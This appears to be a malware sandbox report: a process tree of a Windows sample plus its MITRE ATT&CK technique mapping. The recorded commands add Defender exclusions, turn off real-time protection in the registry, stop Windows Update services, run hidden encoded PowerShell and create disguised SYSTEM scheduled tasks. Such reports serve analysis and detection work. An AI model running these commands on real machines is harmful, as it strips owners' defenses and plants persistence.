PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:1092

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1192

C:\Windows\System32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:1160

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:2672

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:1480

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
1⤵
PID:2984

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:1716

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
1⤵
PID:2076

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2416

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:1044

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2924

C:\Windows\System32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:2532

C:\Windows\System32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:1292

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:1632

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:2400

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1588

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:2096

C:\Windows\system32\taskeng.exe
taskeng.exe {D21939EB-D0FB-4F65-8521-0FDB9007B582} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1524
- C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\aEedQxU.exe
  C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\aEedQxU.exe F9 /Yosite_idpIV 385120 /S
  2⤵
  PID:1768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gpZAkITnu" /SC once /ST 06:25:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gpZAkITnu"
    3⤵
    PID:384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gpZAkITnu"
    3⤵
    PID:2980
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1644
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:580
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      PID:2088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gZJwiPKam" /SC once /ST 06:42:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gZJwiPKam"
    3⤵
    PID:1844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry